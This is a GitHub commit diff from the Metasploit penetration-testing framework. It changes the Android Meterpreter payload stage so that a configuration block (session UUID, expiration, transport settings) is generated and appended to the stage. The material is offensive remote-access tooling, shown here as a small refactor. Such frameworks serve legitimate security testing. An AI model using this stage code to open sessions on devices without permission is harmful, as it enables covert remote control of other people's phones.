File tree Expand file tree Collapse file tree 1 file changed +22
-2
lines changed
modules/payloads/stages/android Expand file tree Collapse file tree 1 file changed +22
-2
lines changed Original file line number Diff line number Diff line change 7
7
require 'msf/core/payload/dalvik'
8
8
require 'msf/base/sessions/meterpreter_android'
9
9
require 'msf/base/sessions/meterpreter_options'
10
+ require 'rex/payloads/meterpreter/config'
10
11
12
+ module Metasploit4
11
13
12
- module Metasploit3
13
14
include Msf ::Sessions ::MeterpreterOptions
14
15
15
16
def initialize ( info = { } )
@@ -44,6 +45,25 @@ def generate_stage(opts={})
44
45
45
46
# Name of the class to load from the stage, the actual jar to load
46
47
# it from, and then finally the meterpreter stage
47
- java_string ( clazz ) + java_string ( metstage ) + java_string ( met )
48
+ java_string ( clazz ) + java_string ( metstage ) + java_string ( met ) + java_string ( generate_config ( opts ) )
49
+ end
50
+
51
+ def generate_config ( opts = { } )
52
+ opts [ :uuid ] ||= generate_payload_uuid
53
+
54
+ # create the configuration block, which for staged connections is really simple.
55
+ config_opts = {
56
+ ascii_str : true ,
57
+ arch : opts [ :uuid ] . arch ,
58
+ expiration : datastore [ 'SessionExpirationTimeout' ] . to_i ,
59
+ uuid : opts [ :uuid ] ,
60
+ transports : [ transport_config ( opts ) ]
61
+ }
62
+
63
+ # create the configuration instance based off the parameters
64
+ config = Rex ::Payloads ::Meterpreter ::Config . new ( config_opts )
65
+
66
+ # return the XML version of it
67
+ config . to_b
48
68
end
49
69
end
You can’t perform that action at this time.
0 commit comments